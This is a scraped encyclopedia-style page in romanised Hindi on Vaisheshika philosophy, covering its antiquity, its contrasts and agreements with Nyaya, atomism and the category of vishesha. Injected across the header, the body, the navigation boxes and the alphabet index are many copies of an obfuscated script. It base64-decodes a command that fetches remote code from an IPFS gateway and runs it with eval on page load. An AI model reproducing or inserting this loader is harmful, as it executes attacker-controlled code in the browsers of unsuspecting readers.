वैशेषिक दर्शन का वैशिष्ट्य

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vaisheshik siddhantoan ka atiprachinatv pray: sarvasvikrit hai. maharshi kanad dvara rachit vaisheshikasootr mean bauddhoan ke siddhantoan ki samiksha n hone ke karan yah bhi svikar kiya ja sakata hai ki kanad buddh ke poorvavarti haian. jo vidvan kanad ko buddh ka poorvavarti nahian manate, unamean se adhikatar itana to manate hi haian ki kanad doosari shati eesvi poorv se pahale hue hoange. sankshepat: saankhyasootrakar kapil aur brahmasootrkar vyas ke atirikt any sabhi astik darshanoan ke pravarttakoan mean se kanad sarvadhik poorvavarti haian. at: vaisheshik darshan ko saankhy aur vedant ke atirikt any sabhi bharatiy darshanoan ka poorvavarti manate hue yah kaha ja sakata hai ki keval darshanik chintan ki drishti se hi nahian, apitu atiprachin hone ke karan bhi is darshan ka apana vishisht mahattv hai.

vaisheshik darshan ka prachinatv

vaisheshik sammat tattv mimaansa, jnan mimaansa aur achar mimaansa se yah spasht ho jata hai ki is darshan ke pravartakoan aur uttaravarti chintakoan ne b di gaharaee aur sookshmata se apane mantavyoan ka akhyan kiya hai.

vaisheshik ka padarth-vivechan atyant prachin hone par bhi adhunik vijnan ke sath paryapt samanjasy rakhata hai. at: nishkarsh roop se yah kaha ja sakata hai ki vaisheshik ek aisa darshan hai, jisamean adhyatmonmukh bhautikavad ka vishleshan kiya gaya hai. is sandarbh mean sarvadhik dhyan dene yogy tathy yah hai ki vaisheshikoan ne samata ya ekatmakata ya sadharmy ya samashti (yooniti) ko nahian, apitu vishamata ya vibhajyata ya vaidharmy ya vyashti (daivarsiti) ko jagat ka adhar mana hai.

bharatiy darshanoan ke astik aur nastik bhed se do varg mane jate haian. astik darshanoan mean nyay, vaisheshik, saankhy, yog, poorvamimaansa aur vedant ka tatha nastik varg mean charvak, bauddh darshan aur jain darshanoan ka pariganan kiya jata hai. nyay aur vaisheshik samanatantr mane jate haian. kautily ke arthashastr mean vaisheshik ka ullekh nahian hai. at: yah sanbhav hai ki kautily ke samay tak nyay aur vaisheshik in donoan samanatantr darshanoan ka ullekh anvikshiki ke antargat hi kar diya ho.

yadyapi nyay aur vaisheshik ko ek doosare mean antarbhoot karane ya milane ka tatha ek doosare se unako prithakh karane ka bhi samay-samay par prayas kiya jata raha, phir bhi yah ek mahattvapoorn bat hai ki donoan ka astitv prithakh bhi bana raha aur donoan mean paryapt sima tak aiky bhi raha. is prakar nyay aur vaisheshik mean ek sath hi upalabdh aiky aur parthaky bhi in donoan darshanoan ke vaishishty ka adhar hai.

nyay-vaisheshik mean vaishamy

gautam ne solah padarthoan ke tattvajnan se ni:shreyas ki prapti ka ullekh kiya, jabaki kanad chh: padarthoan ke sadharmy-vaidharmyaparak tattvajnan ko ni:shreyas ka sadhan batate haian. vaisheshik sansar ka tattvamimaansiy drishtikon se akalan karate haian, jabaki naiyayik jnanamimaansiy drishtikon se nyay aur vaisheshik donoan mean samavay sambandh ko svikar karate haian kintu naiyayik usako pratyakshagamy manate haian, jabaki vaisheshikoan ke anusar yah pratyakshagamy nahian hai. naiyayik pitharapakavadi haian aur vaisheshik pilupakavadi. vaisheshikoan ke anusar pak ghat ke paramanuoan mean hota hai, kintu naiyayik yah manate haian ki pak pithar mean hi hota hai. nyay ka prathamik uddeshy is tathy ka vishleshan karana nahian hai 'vastuean svat: kya haian?' apitu yah pratipadit karana hai ki vastuoan ke svaroop ka nirdharan karana hai. isilie nyay ko pramanashastr aur vaisheshik ko padarthashastr bhi kaha jata hai. pramanoan ki sankhya ki drishti se bhi donoan mean antar hai. nyay mean pratyaksh, anuman, upaman aur shabd ye char praman mane gaye haian, jabaki vaisheshik pratyaksh aur anuman in do ko hi svikar karate haian aur upaman ka shabd mean tatha shabd ka anuman mean antarbhav karate haian.

naiyayikoan ke anusar pancharoopopapann liang hi anumiti ka karan hota hai. nyay mean hetu ke paanch lakshan is prakar bataye gaye haian-

  1. pakshasattv
  2. sapakshasattv
  3. vipakshasattv
  4. abadhit aur
  5. asatpratipaksh.

in lakshanoan ke abhav mean hetu kramash:

  1. asiddh,
  2. viruddh,
  3. anaikantik,
  4. badhit aur
  5. satpratipaksh namak doshoan se grast hone ke karan hetvabhas kahalate haian.

naiyayikoan ke mat ke viparit hetu mean

  1. pakshasattv
  2. sapakshasattv aur
  3. vipakshasattv in tin lakshanoan ka hona hi paryapt hai aur in tinoan ke abhav mean kramash: viruddh, asiddh aur sandigdh ye tin hi hetva bhas mane ja sakate haian.

nyay-vaisheshik se samy

nyay-vaisheshik ka pramukh saman abhyugam yah hai ki jnan svaroopat: aisi vastu ki or sanket karata hai jo usase bahar aur usase svatantr haian.[1] donoan darshan yah manate haian ki yadyapi vastuean pray: anek niji lakshanoan ke karan ek doosari se bhinn haian. kintu katipay samany dharmoan ke adhar par unako kuchh vargoan mean vargikrit bhi kiya ja sakata hai.

ni:shreyas ki prapti ko nyay aur vaisheshik donoan darshanoan mean jivan ka uddeshy mana gaya hai tatha yah bataya gaya hai ki tattvajnan se apavarg hota hai aur mithyajnan se sansar mean avagaman bana rahata hai. vaisheshik sootr aur nyay sootr mean padarthoan ki ganana ke sanbandh mean jo antar dikhaee deta hai, vah vatsyayan adi bhashyakaroan ki in uktiyoan se samahit ho jata hai ki- 'astyanyadapi dravyagunakarmasamanyavishesh-samavaya: prameyamh.[2]'

nyay aur vaisheshik donoan hi vastuvadi aur du:khavadi darshan hai. vishvanath panchanan aur annanbhatt ke granthoan mean jo sanhativadi pravritti 16vian shati ke asapas charam sima par pahuanchi, usake bij vatsyayan ke nyayabhashy mean bhi upalabdh ho jate haian. vaise inake samanvay ka vidhivat pramanik niroopan dasavian shati mean shivadity dvara rachit saptapadarthi mean hi sarvapratham upalabdh hota hai. nyay aur vaisheshik ka is vishvas ke adhar par bhi samy hai ki jis vastu ka astitv hai, vah jney hai. yadyapi jnan bhi jney hai, phir bhi jnan pramukh roop se vastuvishayak hota hai. bahyajagat ki vastavikata svat: siddh hai tathapi us tak pahuanchane ke liye jnan ek anivary sadhan hai.

samanyat: yah mana jata hai ki vastuoan ki sanrachana mean ek se adhik bhootadravy samahit hote haian jaise ki vedant mean sharir ko paanchabhautik mana gaya hai, kintu nyay-vaisheshik donoan ke anusar manav sharir keval prithvi ke paramanuoan se hi nirmit hai, jal adi ke paramanu bhi usamean rahate haian, par ve prithvi ke sanyog ke karan anushangik ya gaun roop mean rahate haian, pramukh roop se nahian. yah jnatavy hai ki nyay-vaisheshikoan ka yah drishtikon any darshanoan dvara svikar nahian hua, kyoanki jal adi ke tattv to sharir mean sakshat hi dikhaee dete haian.

nyay aur vaisheshik donoan hi yah manate hai ki utpatti ke poorv vastuoan ka koee astitv nahian hota. is siddhant ko arambhavad ya asatkaryavad kaha jata hai. nyay-vaisheshik ki tattvamimaansa ka sar yah hai ki brahmand do prakar ka hai-

  1. mool jagat (paramanuroop) aur
  2. vyutpann jagat (karyaroop).

mool jagat paramanuroop, asrisht, nity aur avinashi hai, mool jagat vibhinn prakar ke paramanuoan, atma adi dravyoan aur samanyoan se bana hai. vyutpann (karyaroop) jagat hamare anubhav ka vishay hai. yah apane astitv ke liye mool jagat par adharit hai aur anity tatha vinashashil hai. vyutpann jagat ki sookshmatam drishy ikaee anu ya paramanu kahalati hai. yadyapi arambhavadi yani tryanuk se srishtayarambh ki sankalpana nyay aur vaisheshik mean saman roop se pravartit huee, kintu isaka pallavan vaisheshik mean adhik hua. at: paramanuvad pramukh roop se vaisheshik siddhant ke roop mean prakhyat hua.

vaisheshikasammat paramanuvad

vaisheshik ki tattv mimaansa mean paramanuvad ka atyadhik mahattv hai. balki yah manana bhi anupayukt n hoga ki paramanu hi vaisheshik ka pran hai. kintu bhagavatpad shankarachary prabhriti chintakoan ne vaisheshik ke paramanuvad par yah akshep kiya hai ki yah vedvihit nahian hai at: apramanik hai. yadyapi udayanachary ne is akshep ka uttar yah kahate hue diya ki 'vishvatashchakshu:'- is vaidik mantr mean patatr shabd paramanu ka vachak hai, at: paramanu ka ullekh ved mean hai. kintu spasht hai ki yah ek klisht kalpana hai. vaise isaka ek samuchit uttar yah hai ki yah mat ved viruddh bhi to nahian hai. sath hi yah bhi kaha ja sakata hai ki vaisheshik to shabd ko prithakh praman bhi nahian manate. unaka kahana to yah hai ki paramanu nity evan atindriy tattv hai. usaki siddhi anuman se hoti hai.[3] paramanu ke svaroop par gambhir charcha huee hai. shivadity ke anusar, niravayav kriyavanh tattv paramanu hai.[4] paramanu atindriy, nity tatha avibhajy hai. vah bhautik jagat ka sarvadhik sookshm upadan karan haian. anty vishesh ke karan paramanu ek-doosare se prithakh rahate haian. paramanu char prakar ke hote haian-

  1. parthiv
  2. jaliy
  3. tejas
  4. vayaviy

do paramanuoan ke sanyog se dvayanuk aur tin dvayanukoan se sanyog se tryanuk banata hai. mahat pariman (drishyaman akar) keval tryanuk mean paya jata hai, dvayanuk mean nahian. vishvanath ne yah bataya ki dvayanuk ke pariman ke prati paramanugat dvitvasankhya aur trasarenu ke pariman ke prati dvayanukagat tritvasankhya asamavayikaran hai. raghunath shiromani ka yah vichar hai ki tryanuk hi sookshmatam avibhajy tattv hai. at: dvayanuk aur anu ko manane ki avashyakata hi nahian hai. kintu venidatt ne padarth-mandan namak granth mean raghunath ke mat ka khandan karate hue yah kaha ki tryanuk ke to avayav hote haian, at: usako antim dravy nahian mana ja sakata. is prakar sankshepat: yah kaha ja sakata hai ki vaisheshik nay ke anusar paramanu hi bhautik jagat ke mool upadan karan haian. at: meri drishti mean vaisheshikoan ka paramanuvad samadaraniy aur samuchit hai.

vishesh ka antyatv

padarth ke roop mean vishesh ke svaroop ka vishleshan tattv mimaansa prakaran mean kiya ja chuka hai. usaka sar yah hai ki vastuoan ka bhed unake avayavoan ke adhar par kiya jata hai. kintu paramanu ka koee avayav nahian hota. aisi sthiti mean ek paramanu ka doosare paramanuoan se bhed batane ke lie vaisheshikoan ne 'vishesh' namak padarth ka astitv mana aur yah bataya ki anuoan mean parasparik vyavartan karane vala antim tattv vishesh hai. vishesh ka koee vishesh nahian hota. at: vah svat:vyavartak hota hai. arthat ek vishesh any visheshoan se apane ko bhinn karane ka kary bhi svayan hi karata hai. jis prakar vastuoan mean sarvadhik vyapakata se avasthit tattv hi satta kaha jata hai, vaise hi sarvadhik sookshm anu ke vyavartak atindriy tattv ko vishesh kaha jata hai. paramanuoan ka hi ek doosare se bhed svat: kyoan nahian mana jae? is shanka ka samadhan karate hue prashastapad yah kahate haian ki ek paramanu ka doosare paramanu se tadatmy hai, jabaki ek vishesh ka doosare vishesh se tadatmy nahian hai. at: vishesh ko alag se ek svatantr padarth mana jana hi upayukt hai. yadyapi vaisheshik sammat pilupakavad, muktivad aur visheshavishayak siddhant ka bhi any darshanoan mean samadar nahian hua aur any anek sandarbhoan mean bhi any darshanikoan ne vaisheshikoan ki bharapoor alochanaean kian, tathapi yah to spasht hi hai ki vaisheshik darshan ki samagr sanrachana ka pramukh adhar-stambh vishesh moolak vaishishty hi mana jata hai. brahmand ki sanrachana ko janane ke lie usamean samahit sabhi vastuoan mean unaki apani-apani visheshataoan ko janana atyant avashyak hai. yadyapi sootrakar kanad ke anusar padarthoan ki parasparik samanata aur parasparik prithakta ka bodh hi tattvajnan hai, jisase abhyuday aur ni:shreyas ki prapti ho sakati hai, phir bhi aisa pratit hota hai ki vishesh ke padarthatv ka akhyan karake sootrakar ne bhi vastuoan ke parthaky jnan par adhik bal diya hai. padarthoan ke samashtigat dharmaparak samany ka mahattv to 'sarvan khalvidan brahm' is vaidik ya aupanishadik bhavana mean pahale se hi yapayit chala a raha tha. par isaki barabari par vyashti ko kh da karane ka kary vaisheshikoan ne kiya. at: bharatiy darshanik chintan mean santulit vastuvad ka samarambh karane ka shrey vaisheshik darshan ko hi hai. aur yah mahattvapoorn upalabdhi vaisheshikoan ko un pramukh siddhantoan ka pravartan karane se prapt huee, jinako paramanuvad ya arambhavad ya vishesh vaishishtyavad kah kar samadrit kiya jata hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ n chavishaya kachidupalabdhi:, nya.bha. 4.1.32
  2. ↑ nya. bha
  3. ↑ asti tavadayan parimanabhed:, tasmadanuparimanan kvachinniratishayamiti siddho nity: paramanu:, nya. k. pri. 79
  4. ↑ niravayav: kriyavanh paramanu:, s.p. pri. 88

sanbandhit lekh

dekhean • varta • badalean
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vaisheshik darshan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dekhean • varta • badalean
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
darshan shastr
uttar mimaansa · jnanamimaansa · shath darshan · charvak darshan · jain darshan · nyay darshan · poorv mimaansa · bauddh darshan · mimaansa darshan · yog darshan · vishishtadvait darshan · vaisheshik darshan · navy adarshavad · adhyatmavad · bhedabhed · saankhy darshan · bharatiy darshan · ajneyavad · karan · dvaitavad · advaitavad · anatmavad · shaiv darshan · samoohavad · dvaitadvaitavad · akriyavad · navamanavavad · avataravad · kanafyooshivad · ajativad · sarvatmavad · kulinavad · shoonyavad · anuvad · arabi darshan · asatkaryavad · astitvavad · akasmikavad · atmavad · adarshavad · anandavad · anvikshiki · abhasavad · aranbhavad · upayogitavad · ekajivavad · arthavad · ayatharth · upadhi · ahanvad · kevalanvayi · anvayavyatirek · anvitabhidhanavad

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   